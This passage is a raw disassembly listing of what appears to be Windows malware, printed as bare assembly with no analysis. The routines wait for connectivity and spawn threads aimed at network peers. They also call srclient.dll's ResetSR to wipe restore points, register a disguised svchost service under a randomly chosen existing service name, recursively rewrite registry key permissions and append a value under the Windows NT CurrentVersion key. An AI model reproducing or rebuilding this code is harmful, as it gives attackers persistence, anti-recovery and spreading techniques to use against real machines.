short loc_9ACA66 sub_9ACA50 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame ; DWORD __stdcall sub_9ACABE(LPVOID) sub_9ACABE proc near ; DATA XREF: sub_9ACFCF+2Do var_1850 = byte ptr -1850h var_184C = byte ptr -184Ch in = in_addr ptr -0C50h var_C4C = dword ptr -0C4Ch var_C48 = dword ptr -0C48h ThreadId = dword ptr -50h var_4C = byte ptr -4Ch Name = byte ptr -48h var_29 = byte ptr -29h var_28 = dword ptr -28h var_24 = dword ptr -24h Dst = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp mov eax, 1850h call __alloca_probe push ebx push esi push edi xor eax, eax xor ebx, ebx mov [ebp+Dst], ebx lea edi, [ebp+var_1C] stosd stosd mov eax, ds:dword_9B9E20 shr eax, 1 mov ds:dword_9BA270, eax call sub_9AB510 loc_9ACAEB: ; CODE XREF: sub_9ACABE+50Cj mov esi, InternetGetConnectedState jmp short loc_9ACAFE ; --------------------------------------------------------------------------- loc_9ACAF3: ; CODE XREF: sub_9ACABE+49j push 1388h ; dwMilliseconds call Sleep loc_9ACAFE: ; CODE XREF: sub_9ACABE+33j lea eax, [ebp+var_4] push ebx push eax call esi ; InternetGetConnectedState test eax, eax jz short loc_9ACAF3 loc_9ACB09: ; CODE XREF: sub_9ACABE+6Ej push 1388h ; dwMilliseconds call Sleep lea eax, [ebp+in] push 100h ; int push eax ; Dst call sub_9AB41B cmp eax, ebx pop ecx pop ecx mov [ebp+var_C], eax jz short loc_9ACB09 xor eax, eax cmp [ebp+var_C], ebx mov [ebp+var_4], eax jbe loc_9ACD02 loc_9ACB3C: ; CODE XREF: sub_9ACABE+23Ej lea eax, [eax+eax*2] shl eax, 2 push [ebp+eax+var_C48] push [ebp+eax+var_C4C] push dword ptr [ebp+eax+in.S_un] lea eax, [ebp+Name] push offset aL08x08x08x ; "l%08x%08x%08x" push 20h ; Count push eax ; Dest call _snprintf add esp, 18h lea eax, [ebp+Name] push eax ; lpName push ebx ; bInitialState push 1 ; bManualReset push ebx ; lpEventAttributes mov [ebp+var_29], bl call CreateEventA mov esi, eax cmp esi, ebx jz loc_9ACCF2 call GetLastError cmp eax, 0B7h jz loc_9ACCEB cmp ds:dword_9BA278, ebx jnz loc_9ACC9F mov eax, [ebp+var_4] lea eax, [eax+eax*2] push dword ptr [ebp+eax*4+in.S_un] call sub_9AB389 test eax, eax pop ecx jnz loc_9ACC9F mov eax, [ebp+var_4] lea eax, [eax+eax*2] push dword ptr [ebp+eax*4+in.S_un] ; in lea eax, [ebp+var_10] push eax ; int lea eax, [ebp+var_28] push eax ; int call sub_9A9289 add esp, 0Ch test eax, eax jz loc_9ACC9F mov eax, [ebp+var_4] mov ecx, [ebp+var_28] lea eax, [eax+eax*2] cmp ecx, dword ptr [ebp+eax*4+in.S_un] jnz loc_9ACC9F push [ebp+var_10] call sub_9AB3B6 test eax, eax pop ecx jz loc_9ACC9F push [ebp+var_10] call sub_9AB389 test eax, eax pop ecx jz loc_9ACC9F xor ecx, ecx lea eax, [ebp+in] loc_9ACC23: ; CODE XREF: sub_9ACABE+173j mov edx, [eax] cmp edx, [ebp+var_10] jz short loc_9ACC9F inc ecx add eax, 0Ch cmp ecx, [ebp+var_C] jb short loc_9ACC23 push ebx ; in lea eax, [ebp+var_8] push eax ; int xor eax, eax mov ax, word ptr ds:dword_9BA2A4 mov [ebp+var_8], ebx push eax ; __int16 call sub_9A932E add esp, 0Ch test eax, eax jz short loc_9ACC9F cmp word ptr [ebp+var_8], bx jz short loc_9ACC9F push [ebp+var_8] push [ebp+var_10] call sub_9AECA4 test eax, eax pop ecx pop ecx jz short loc_9ACC9F mov eax, [ebp+var_4] lea eax, [eax+eax*2] shl eax, 2 mov ecx, dword ptr [ebp+eax+in.S_un] mov [ebp+Dst], ecx mov ecx, [ebp+eax+var_C4C] mov eax, [ebp+eax+var_C48] mov [ebp+var_18], eax movzx eax, word ptr [ebp+var_8] mov ds:dword_9BA27C, eax mov eax, [ebp+var_10] mov [ebp+var_1C], ecx mov ds:dword_9BA278, eax loc_9ACC9F: ; CODE XREF: sub_9ACABE+DFj ; sub_9ACABE+FAj ... push 18h ; dwBytes push 40h ; uFlags call GlobalAlloc mov [eax], esi mov ecx, [ebp+var_4] lea esi, [ecx+ecx*2] lea esi, [ebp+esi*4+in] lea edi, [eax+4] movsd movsd movsd mov ecx, ds:dword_9BA2A4 mov [eax+10h], ecx lea ecx, [ebp+ThreadId] push ecx ; lpThreadId push ebx ; dwCreationFlags push eax ; lpParameter push offset sub_9AC789 ; lpStartAddress push ebx ; dwStackSize push ebx ; lpThreadAttributes call CreateThread push eax ; hObject call CloseHandle push 32h ; dwMilliseconds call Sleep jmp short loc_9ACCF2 ; --------------------------------------------------------------------------- loc_9ACCEB: ; CODE XREF: sub_9ACABE+D3j push esi ; hObject call CloseHandle loc_9ACCF2: ; CODE XREF: sub_9ACABE+C2j ; sub_9ACABE+22Bj mov eax, [ebp+var_4] inc eax cmp eax, [ebp+var_C] mov [ebp+var_4], eax jb loc_9ACB3C loc_9ACD02: ; CODE XREF: sub_9ACABE+78j cmp ds:dword_9BA278, ebx jnz loc_9ACDBE call sub_9A9580 mov esi, eax push esi call sub_9AB3B6 test eax, eax pop ecx jz short loc_9ACD2B push esi call sub_9AB389 test eax, eax pop ecx jnz short loc_9ACD2D loc_9ACD2B: ; CODE XREF: sub_9ACABE+260j xor esi, esi loc_9ACD2D: ; CODE XREF: sub_9ACABE+26Bj xor eax, eax cmp [ebp+var_C], ebx mov [ebp+var_4], eax jbe short loc_9ACDB2 loc_9ACD37: ; CODE XREF: sub_9ACABE+2B9j lea eax, [eax+eax*2] push dword ptr [ebp+eax*4+in.S_un] call sub_9AB389 test eax, eax pop ecx jz short loc_9ACD6D mov eax, [ebp+var_4] lea ecx, [eax+eax*2] mov ecx, dword ptr [ebp+ecx*4+in.S_un] cmp ecx, esi jz short loc_9ACD60 cmp esi, ebx jnz short loc_9ACD70 loc_9ACD60: ; CODE XREF: sub_9ACABE+29Cj push ebx push ecx call sub_9AECA4 test eax, eax pop ecx pop ecx jnz short loc_9ACD7B loc_9ACD6D: ; CODE XREF: sub_9ACABE+28Bj mov eax, [ebp+var_4] loc_9ACD70: ; CODE XREF: sub_9ACABE+2A0j inc eax cmp eax, [ebp+var_C] mov [ebp+var_4], eax jb short loc_9ACD37 jmp short loc_9ACDB2 ; --------------------------------------------------------------------------- loc_9ACD7B: ; CODE XREF: sub_9ACABE+2ADj mov eax, [ebp+var_4] lea eax, [eax+eax*2] shl eax, 2 mov ecx, dword ptr [ebp+eax+in.S_un] mov edx, [ebp+eax+var_C4C] mov eax, [ebp+eax+var_C48] mov [ebp+var_18], eax mov eax, ds:dword_9BA2A4 mov [ebp+Dst], ecx mov [ebp+var_1C], edx mov ds:dword_9BA27C, eax mov ds:dword_9BA278, ecx loc_9ACDB2: ; CODE XREF: sub_9ACABE+277j ; sub_9ACABE+2BBj cmp ds:dword_9BA278, ebx jz loc_9ACE4C loc_9ACDBE: ; CODE XREF: sub_9ACABE+24Aj push ebx push ds:dword_9BA27C lea eax, [ebp+Name] push ds:dword_9BA278 push offset aW08x08x08x ; "w%08x%08x%08x" push 20h ; Count push eax ; Dest call _snprintf add esp, 18h lea eax, [ebp+Name] push eax ; lpName push ebx ; bInitialState push 1 ; bManualReset push ebx ; lpEventAttributes mov [ebp+var_29], bl call CreateEventA mov esi, eax cmp esi, ebx jz short loc_9ACE4C call GetLastError cmp eax, 0B7h jz short loc_9ACE45 push 18h ; dwBytes push 40h ; uFlags call GlobalAlloc mov [eax], esi mov ecx, ds:dword_9BA278 mov [eax+4], ecx mov ecx, ds:dword_9BA27C mov [eax+10h], ecx lea ecx, [ebp+var_4C] push ecx ; lpThreadId push ebx ; dwCreationFlags push eax ; lpParameter push offset sub_9AC6FE ; lpStartAddress push ebx ; dwStackSize push ebx ; lpThreadAttributes call CreateThread push eax ; hObject call CloseHandle push 32h ; dwMilliseconds call Sleep jmp short loc_9ACE4C ; --------------------------------------------------------------------------- loc_9ACE45: ; CODE XREF: sub_9ACABE+343j push esi ; hObject call CloseHandle loc_9ACE4C: ; CODE XREF: sub_9ACABE+2FAj ; sub_9ACABE+336j ... mov [ebp+var_14], 1 loc_9ACE53: ; CODE XREF: sub_9ACABE+506j push 4E20h ; dwMilliseconds call Sleep lea eax, [ebp+var_1850] push 100h ; int push eax ; Dst call sub_9AB41B cmp eax, [ebp+var_C] pop ecx pop ecx mov [ebp+var_24], eax jz short loc_9ACE7C mov [ebp+var_14], ebx loc_9ACE7C: ; CODE XREF: sub_9ACABE+3B9j xor eax, eax cmp [ebp+var_C], ebx mov [ebp+var_4], eax jbe loc_9ACFC1 loc_9ACE8A: ; CODE XREF: sub_9ACABE+4FDj cmp [ebp+var_24], ebx mov [ebp+var_8], ebx jbe short loc_9ACED3 lea ecx, [eax+eax*2] shl ecx, 2 mov esi, dword ptr [ebp+ecx+in.S_un] lea edx, [ebp+var_184C] loc_9ACEA5: ; CODE XREF: sub_9ACABE+413j cmp [edx-4], esi jnz short loc_9ACEC5 mov edi, [edx] cmp edi, [ebp+ecx+var_C4C] jnz short loc_9ACEC5 mov edi, [edx+4] cmp edi, [ebp+ecx+var_C48] jz loc_9ACFB4 loc_9ACEC5: ; CODE XREF: sub_9ACABE+3EAj ; sub_9ACABE+3F5j mov edi, [ebp+var_24] inc [ebp+var_8] add edx, 0Ch cmp [ebp+var_8], edi jb short loc_9ACEA5 loc_9ACED3: ; CODE XREF: sub_9ACABE+3D2j lea eax, [eax+eax*2] shl eax, 2 push [ebp+eax+var_C48] push [ebp+eax+var_C4C] push dword ptr [ebp+eax+in.S_un] lea eax, [ebp+Name] push offset aL08x08x08x ; "l%08x%08x%08x" push 20h ; Count push eax ; Dest call _snprintf mov esi, OpenEventA add esp, 18h lea eax, [ebp+Name] push eax ; lpName push ebx ; bInheritHandle push 2 ; dwDesiredAccess mov [ebp+var_29], bl call esi ; OpenEventA mov edi, eax cmp edi, ebx jz short loc_9ACF28 push edi ; hEvent call SetEvent push edi ; hObject call CloseHandle loc_9ACF28: ; CODE XREF: sub_9ACABE+45Aj mov eax, [ebp+var_4] mov edx, [ebp+Dst] lea ecx, [eax+eax*2] shl ecx, 2 cmp edx, dword ptr [ebp+ecx+in.S_un] jnz short loc_9ACFB1 mov edx, [ebp+var_1C] cmp edx, [ebp+ecx+var_C4C] jnz short loc_9ACFB1 mov edx, [ebp+var_18] cmp edx, [ebp+ecx+var_C48] jnz short loc_9ACFB1 push 0Ch ; Size lea eax, [ebp+Dst] push ebx ; Val push eax ; Dst call memset push ebx push ds:dword_9BA27C lea eax, [ebp+Name] push ds:dword_9BA278 push offset aW08x08x08x ; "w%08x%08x%08x" push 20h ; Count push eax ; Dest call _snprintf add esp, 24h lea eax, [ebp+Name] push eax ; lpName push ebx ; bInheritHandle push 2 ; dwDesiredAccess mov [ebp+var_29], bl call esi ; OpenEventA mov esi, eax cmp esi, ebx jz short loc_9ACFA2 push esi ; hEvent call SetEvent push esi ; hObject call CloseHandle loc_9ACFA2: ; CODE XREF: sub_9ACABE+4D4j push ebx ; Value push offset dword_9BA278 ; Target call InterlockedExchange mov eax, [ebp+var_4] loc_9ACFB1: ; CODE XREF: sub_9ACABE+47Dj ; sub_9ACABE+489j ... mov [ebp+var_14], ebx loc_9ACFB4: ; CODE XREF: sub_9ACABE+401j inc eax cmp eax, [ebp+var_C] mov [ebp+var_4], eax jb loc_9ACE8A loc_9ACFC1: ; CODE XREF: sub_9ACABE+3C6j cmp [ebp+var_14], ebx jnz loc_9ACE53 jmp loc_9ACAEB sub_9ACABE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_9ACFCF proc near ; CODE XREF: StartAddress+1D9p ThreadId = dword ptr -4 push ebp mov ebp, esp push ecx push ebx push esi mov esi, CreateThread push edi lea eax, [ebp+ThreadId] push eax ; lpThreadId xor ebx, ebx push ebx ; dwCreationFlags push ebx ; lpParameter push offset sub_9ACA50 ; lpStartAddress push ebx ; dwStackSize push ebx ; lpThreadAttributes call esi ; CreateThread mov edi, CloseHandle push eax ; hObject call edi ; CloseHandle lea eax, [ebp+ThreadId] push eax ; lpThreadId push ebx ; dwCreationFlags push ebx ; lpParameter push offset sub_9ACABE ; lpStartAddress push ebx ; dwStackSize push ebx ; lpThreadAttributes call esi ; CreateThread push eax ; hObject call edi ; CloseHandle pop edi pop esi pop ebx leave retn sub_9ACFCF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_9AD00D proc near ; CODE XREF: sub_9AD71D:loc_9AD904p var_20 = dword ptr -20h hLibModule = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h push 10h push offset stru_9A4678 call __SEH_prolog push offset LibFileName ; "srclient.dll" call LoadLibraryA mov [ebp+hLibModule], eax and [ebp+ms_exc.disabled], 0 test eax, eax jz short loc_9AD04F push offset aResetsr ; "ResetSR" push eax ; hModule call GetProcAddress mov [ebp+var_20], eax test eax, eax jz short loc_9AD04F push 0 call eax jmp short loc_9AD04F ; --------------------------------------------------------------------------- loc_9AD048: ; DATA XREF: .text:stru_9A4678o xor eax, eax inc eax retn ; --------------------------------------------------------------------------- loc_9AD04C: ; DATA XREF: .text:stru_9A4678o mov esp, [ebp+ms_exc.old_esp] loc_9AD04F: ; CODE XREF: sub_9AD00D+20j ; sub_9AD00D+33j ... or [ebp+ms_exc.disabled], 0FFFFFFFFh push [ebp+hLibModule] ; hLibModule call FreeLibrary call __SEH_epilog retn sub_9AD00D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_9AD062 proc near ; CODE XREF: sub_9AD71D+3Cp ServiceConfig = _QUERY_SERVICE_CONFIGW ptr -2050h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h ResumeHandle = dword ptr -3Ch var_38 = dword ptr -38h pcbBytesNeeded = dword ptr -34h hSCObject = dword ptr -30h ServicesReturned= dword ptr -2Ch var_28 = dword ptr -28h dwBytes = dword ptr -24h var_20 = dword ptr -20h hMem = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_9A4688 push offset unknown_libname_1 ; Microsoft VisualC 2-9/net runtime mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx mov eax, 2038h call __alloca_probe push ebx push esi push edi mov [ebp+var_18], esp xor ebx, ebx mov [ebp+var_40], ebx mov [ebp+var_4], ebx push 20005h ; dwDesiredAccess push ebx ; lpDatabaseName push ebx ; lpMachineName call OpenSCManagerW mov [ebp+hSCObject], eax cmp eax, ebx jz loc_9AD23C mov [ebp+dwBytes], ebx mov [ebp+ServicesReturned], ebx mov [ebp+ResumeHandle], ebx mov [ebp+hMem], ebx mov esi, GlobalAlloc loc_9AD0C3: ; CODE XREF: sub_9AD062+B3j lea eax, [ebp+ResumeHandle] push eax ; lpResumeHandle lea eax, [ebp+ServicesReturned] push eax ; lpServicesReturned lea eax, [ebp+dwBytes] push eax ; pcbBytesNeeded push [ebp+dwBytes] ; cbBufSize push [ebp+hMem] ; lpServices push 3 ; dwServiceState push 30h ; dwServiceType push [ebp+hSCObject] ; hSCManager call EnumServicesStatusW mov [ebp+var_44], eax cmp eax, ebx jnz short loc_9AD117 call GetLastError cmp eax, 0EAh jnz short loc_9AD117 cmp [ebp+hMem], ebx jz short loc_9AD104 push [ebp+hMem] ; hMem call GlobalFree loc_9AD104: ; CODE XREF: sub_9AD062+97j push [ebp+dwBytes] ; dwBytes push 40h ; uFlags call esi ; GlobalAlloc mov [ebp+hMem], eax cmp eax, ebx jz short loc_9AD117 mov [ebp+ResumeHandle], ebx jmp short loc_9AD0C3 ; --------------------------------------------------------------------------- loc_9AD117: ; CODE XREF: sub_9AD062+85j ; sub_9AD062+92j ... cmp [ebp+var_44], ebx jz loc_9AD22A cmp [ebp+hMem], ebx jz loc_9AD22A mov eax, [ebp+ServicesReturned] shl eax, 2 push eax ; dwBytes push 40h ; uFlags call esi ; GlobalAlloc mov edi, eax mov [ebp+var_50], edi mov [ebp+var_20], ebx or [ebp+var_38], 0FFFFFFFFh xor esi, esi loc_9AD142: ; CODE XREF: sub_9AD062+187j mov [ebp+var_28], esi cmp esi, [ebp+ServicesReturned] jnb loc_9AD1EE push 20005h ; dwDesiredAccess lea eax, [esi+esi*8] mov ecx, [ebp+hMem] push dword ptr [ecx+eax*4] ; lpServiceName push [ebp+hSCObject] ; hSCManager call OpenServiceW mov ebx, eax mov [ebp+var_48], ebx test ebx, ebx jz short loc_9AD1E6 lea eax, [ebp+pcbBytesNeeded] push eax ; pcbBytesNeeded push 2000h ; cbBufSize lea eax, [ebp+ServiceConfig] push eax ; lpServiceConfig push ebx ; hService call QueryServiceConfigW test eax, eax jz short loc_9AD1DF cmp [ebp+ServiceConfig.dwStartType], 2 jnz short loc_9AD1DF lea eax, [ebp+pcbBytesNeeded] push eax ; pcbBytesNeeded push 2000h ; cbBufSize lea eax, [ebp+ServiceConfig] push eax ; lpBuffer push 1 ; dwInfoLevel push ebx ; hService call QueryServiceConfig2W test eax, eax jz short loc_9AD1DF cmp [ebp+pcbBytesNeeded], 0 jz short loc_9AD1DF lea eax, [ebp+ServiceConfig] mov [ebp+var_4C], eax mov eax, [ebp+ServiceConfig.dwServiceType] test eax, eax jz short loc_9AD1DF cmp word ptr [eax], 0 jz short loc_9AD1DF push eax ; Str call _wcsdup pop ecx mov ecx, [ebp+var_20] mov [edi+ecx*4], eax inc [ebp+var_20] loc_9AD1DF: ; CODE XREF: sub_9AD062+125j ; sub_9AD062+12Ej ... push ebx ; hSCObject call CloseServiceHandle loc_9AD1E6: ; CODE XREF: sub_9AD062+10Aj inc esi xor ebx, ebx jmp loc_9AD142 ; --------------------------------------------------------------------------- loc_9AD1EE: ; CODE XREF: sub_9AD062+E6j cmp [ebp+var_20], ebx jz short loc_9AD207 call rand xor edx, edx div [ebp+var_20] mov [ebp+var_38], edx mov eax, [edi+edx*4] mov [ebp+var_40], eax loc_9AD207: ; CODE XREF: sub_9AD062+18Fj xor esi, esi loc_9AD209: ; CODE XREF: sub_9AD062+1BFj mov [ebp+var_28], esi cmp esi, [ebp+var_20] jnb short loc_9AD223 cmp [ebp+var_38], esi jz short loc_9AD220 push dword ptr [edi+esi*4] ; Memory call free pop ecx loc_9AD220: ; CODE XREF: sub_9AD062+1B2j inc esi jmp short loc_9AD209 ; --------------------------------------------------------------------------- loc_9AD223: ; CODE XREF: sub_9AD062+1ADj push edi ; hMem call GlobalFree loc_9AD22A: ; CODE XREF: sub_9AD062+B8j ; sub_9AD062+C1j push [ebp+hMem] ; hMem call GlobalFree push [ebp+hSCObject] ; hSCObject call CloseServiceHandle loc_9AD23C: ; CODE XREF: sub_9AD062+49j or [ebp+var_4], 0FFFFFFFFh jmp short loc_9AD24F ; --------------------------------------------------------------------------- xor eax, eax inc eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] or [ebp+var_4], 0FFFFFFFFh xor ebx, ebx loc_9AD24F: ; CODE XREF: sub_9AD062+1DEj mov eax, [ebp+var_40] cmp eax, ebx jnz short loc_9AD262 push offset Str ; Str call _wcsdup pop ecx loc_9AD262: ; CODE XREF: sub_9AD062+1F2j mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_9AD062 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_9AD271(HKEY hKey) sub_9AD271 proc near ; CODE XREF: sub_9AD363+80p pSecurityDescriptor= byte ptr -48h pIdentifierAuthority= _SID_IDENTIFIER_AUTHORITY ptr -34h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h pSid = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h hKey = dword ptr 8 push 38h push offset stru_9A4698 call __SEH_prolog xor ebx, ebx mov [ebp+var_24], ebx mov [ebp+var_20], ebx mov [ebp+pSid], ebx mov [ebp+ms_exc.disabled], ebx mov [ebp+pIdentifierAuthority.Value], bl mov [ebp+pIdentifierAuthority.Value+1], bl mov [ebp+pIdentifierAuthority.Value+2], bl mov [ebp+pIdentifierAuthority.Value+3], bl mov [ebp+pIdentifierAuthority.Value+4], bl mov [ebp+pIdentifierAuthority.Value+5], 5 lea eax, [ebp+pSid] push eax ; pSid push ebx ; nSubAuthority7 push ebx ; nSubAuthority6 push ebx ; nSubAuthority5 push ebx ; nSubAuthority4 push ebx ; nSubAuthority3 push ebx ; nSubAuthority2 push ebx ; nSubAuthority1 push 12h ; nSubAuthority0 push 1 ; nSubAuthorityCount lea eax, [ebp+pIdentifierAuthority] push eax ; pIdentifierAuthority call AllocateAndInitializeSid push [ebp+pSid] ; pSid call GetLengthSid mov esi, eax add esi, 10h mov [ebp+var_28], esi push esi ; dwBytes push 40h ; uFlags call GlobalAlloc mov edi, eax mov [ebp+var_20], edi cmp edi, ebx jz short loc_9AD32B push 2 ; dwAclRevision push esi ; nAclLength push edi ; pAcl call InitializeAcl push [ebp+pSid] ; pSid push 20019h ; AccessMask push 2 ; dwAceRevision push edi ; pAcl call AddAccessAllowedAce push 1 ; dwRevision lea eax, [ebp+pSecurityDescriptor] push eax ; pSecurityDescriptor call InitializeSecurityDescriptor push ebx ; bDaclDefaulted push edi ; pDacl push 1 ; bDaclPresent lea eax, [ebp+pSecurityDescriptor] push eax ; pSecurityDescriptor call SetSecurityDescriptorDacl lea eax, [ebp+pSecurityDescriptor] push eax ; pSecurityDescriptor push 4 ; SecurityInformation push [ebp+hKey] ; hKey call RegSetKeySecurity mov [ebp+var_2C], eax xor ecx, ecx cmp eax, ebx setz cl mov [ebp+var_24], ecx loc_9AD32B: ; CODE XREF: sub_9AD271+67j or [ebp+ms_exc.disabled], 0FFFFFFFFh jmp short loc_9AD341 ; --------------------------------------------------------------------------- loc_9AD331: ; DATA XREF: .text:stru_9A4698o xor eax, eax inc eax retn ; --------------------------------------------------------------------------- loc_9AD335: ; DATA XREF: .text:stru_9A4698o mov esp, [ebp+ms_exc.old_esp] or [ebp+ms_exc.disabled], 0FFFFFFFFh xor ebx, ebx mov edi, [ebp+var_20] loc_9AD341: ; CODE XREF: sub_9AD271+BEj cmp edi, ebx jz short loc_9AD34C push edi ; hMem call GlobalFree loc_9AD34C: ; CODE XREF: sub_9AD271+D2j cmp [ebp+pSid], ebx jz short loc_9AD35A push [ebp+pSid] ; pSid call FreeSid loc_9AD35A: ; CODE XREF: sub_9AD271+DEj mov eax, [ebp+var_24] call __SEH_epilog retn sub_9AD271 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_9AD363(HKEY hKey) sub_9AD363 proc near ; CODE XREF: sub_9AD363+49p ; sub_9AD50E+1E8p Name = word ptr -214h phkResult = dword ptr -0Ch cchName = dword ptr -8 dwIndex = dword ptr -4 hKey = dword ptr 8 push ebp mov ebp, esp sub esp, 214h push esi push edi mov edi, RegEnumKeyExW xor esi, esi push esi push esi push esi push esi lea eax, [ebp+cchName] push eax lea eax, [ebp+Name] push eax mov [ebp+dwIndex], esi push esi jmp short loc_9AD3D0 ; --------------------------------------------------------------------------- loc_9AD38B: ; CODE XREF: sub_9AD363+7Bj lea eax, [ebp+phkResult] push eax ; phkResult push 0F003Fh ; samDesired push esi ; ulOptions lea eax, [ebp+Name] push eax ; lpSubKey push [ebp+hKey] ; hKey call RegOpenKeyExW test eax, eax jnz short loc_9AD3BB push [ebp+phkResult] ; hKey call sub_9AD363 pop ecx push [ebp+phkResult] ; hKey call RegCloseKey loc_9AD3BB: ; CODE XREF: sub_9AD363+44j inc [ebp+dwIndex] push esi ; lpftLastWriteTime push esi ; lpcchClass push esi ; lpClass push esi ; lpReserved lea eax, [ebp+cchName] push eax ; lpcchName lea eax, [ebp+Name] push eax ; lpName push [ebp+dwIndex] ; dwIndex loc_9AD3D0: ; CODE XREF: sub_9AD363+26j push [ebp+hKey] ; hKey mov [ebp+cchName], 104h call edi ; RegEnumKeyExW test eax, eax jz short loc_9AD38B push [ebp+hKey] ; hKey call sub_9AD271 pop ecx pop edi pop esi leave retn sub_9AD363 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_9AD3ED(wchar_t *Src, LPCWSTR lpValueName) sub_9AD3ED proc near ; CODE XREF: sub_9AD50E+1D2p SubKey = word ptr -88h Type = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h Data = byte ptr -9 hKey = dword ptr -8 cbData = dword ptr -4 Src = dword ptr 8 lpValueName = dword ptr 0Ch push ebp mov ebp, esp sub esp, 88h push ebx push esi push edi push 1Ah pop ecx mov esi, offset aSoftwareMicr_1 ; "SOFTWARE\\Microsoft\\Windows NT\\CurrentVe"... lea edi, [ebp+SubKey] rep movsd lea eax, [ebp+hKey] push eax ; phkResult push 3 ; samDesired xor ebx, ebx push ebx ; ulOptions lea eax, [ebp+SubKey] push eax ; lpSubKey push 80000002h ; hKey mov [ebp+var_10], ebx movsw call RegOpenKeyExW test eax, eax jnz loc_9AD506 mov esi, RegQueryValueExW lea eax, [ebp+cbData] push eax ; lpcbData lea eax, [ebp+Data] push eax ; lpData lea eax, [ebp+Type] push eax ; lpType push ebx ; lpReserved push [ebp+lpValueName] ; lpValueName mov [ebp+cbData], 1 push [ebp+hKey] ; hKey mov [ebp+Type], 7 call esi ; RegQueryValueExW cmp eax, 0EAh jnz loc_9AD4FD push [ebp+Src] ; Str mov edi, wcslen call edi ; wcslen pop ecx mov ecx, [ebp+cbData] lea eax, [ecx+eax*2+2] push eax ; dwBytes push 40h ; uFlags mov [ebp+var_18], eax call GlobalAlloc mov ebx, eax test ebx, ebx jz short loc_9AD4FD lea eax, [ebp+cbData] push eax ; lpcbData push ebx ; lpData lea eax, [ebp+var_14] push eax ; lpType push 0 ; lpReserved push [ebp+lpValueName] ; lpValueName mov [ebp+var_14], 7 push [ebp+hKey] ; hKey call esi ; RegQueryValueExW test eax, eax jnz short loc_9AD4F6 mov esi, [ebp+cbData] push [ebp+Src] ; Str shr esi, 1 dec esi call edi ; wcslen lea edi, [eax+eax+2] push edi ; Size push [ebp+Src] ; Src add esi, esi lea eax, [esi+ebx] push eax ; Dst call memcpy push 2 ; Size add esi, edi push 0 ; Val add esi, ebx push esi ; Dst call memset add esp, 1Ch push [ebp+var_18] ; cbData push ebx ; lpData push 7 ; dwType push 0 ; Reserved push [ebp+lpValueName] ; lpValueName push [ebp+hKey] ; hKey call RegSetValueExW test eax, eax jnz short loc_9AD4F6 mov [ebp+var_10], 1 loc_9AD4F6: ; CODE XREF: sub_9AD3ED+B9j ; sub_9AD3ED+100j push ebx ; hMem call GlobalFree loc_9AD4FD: ; CODE XREF: sub_9AD3ED+72j ; sub_9AD3ED+9Bj push [ebp+hKey] ; hKey call RegCloseKey loc_9AD506: ; CODE XREF: sub_9AD3ED+3Ej mov eax, [ebp+var_10] pop edi pop esi pop ebx leave retn sub_9AD3ED endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_9AD50E(int, wchar_t *Src, BYTE *lpData, wchar_t *lpValueName, int) sub_9AD50E proc near ; CODE XREF: sub_9AD71D+104p Source = word ptr -0ACh var_60 = byte ptr -60h var_18 = dword ptr -18h var_14 = dword ptr -14h phkResult = dword ptr -10h hMem = dword ptr -0Ch Data = byte ptr -8 hKey = dword ptr -4 arg_0 = dword ptr 8 Src = dword ptr 0Ch lpData = dword ptr 10h lpValueName = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 0ACh and [ebp+var_14], 0 push ebx mov ebx, wcslen push esi push edi push 13h pop ecx push [ebp+lpValueName] ; Str mov esi, offset aSystemrootSyst ; "%SystemRoot%\\system32\\svchost.exe -k " lea edi, [ebp+Source] rep movsd call ebx ; wcslen pop ecx lea eax, [eax+eax+4Ch] push eax ; dwBytes push 40h ; uFlags call GlobalAlloc mov esi, eax test esi, esi mov [ebp+hMem], esi jz short loc_9AD5A0 lea eax, [ebp+Source] push eax ; Source push esi ; Dest call wcscpy push [ebp+lpValueName] ; Source push esi ; Dest call wcscat push 11h pop ecx push [ebp+Src] ; Str mov esi, offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Services\\" lea edi, [ebp+var_60] rep movsd movsw call ebx ; wcslen add esp, 14h lea eax, [eax+eax+46h] push eax ; dwBytes push 40h ; uFlags call GlobalAlloc mov esi, eax xor edi, edi cmp esi, edi mov [ebp+var_18], esi jnz short loc_9AD5A7 push [ebp+hMem] ; hMem call GlobalFree loc_9AD5A0: ; CODE XREF: sub_9AD50E+40j xor eax, eax jmp loc_9AD718 ; --------------------------------------------------------------------------- loc_9AD5A7: ; CODE XREF: sub_9AD50E+87j lea eax, [ebp+var_60] push eax ; Source push esi ; Dest call wcscpy push [ebp+Src] ; Source push esi ; Dest call wcscat add esp, 10h push edi ; lpdwDisposition lea eax, [ebp+hKey] push eax ; phkResult push edi ; lpSecurityAttributes push 0F003Fh ; samDesired push edi ; dwOptions push edi ; lpClass push edi ; Reserved push esi ; lpSubKey push 80000002h ; hKey call RegCreateKeyExW test eax, eax jnz loc_9AD705 push [ebp+lpData] ; Str call ebx ; wcslen mov esi, RegSetValueExW pop ecx lea eax, [eax+eax+2] push eax ; cbData push [ebp+lpData] ; 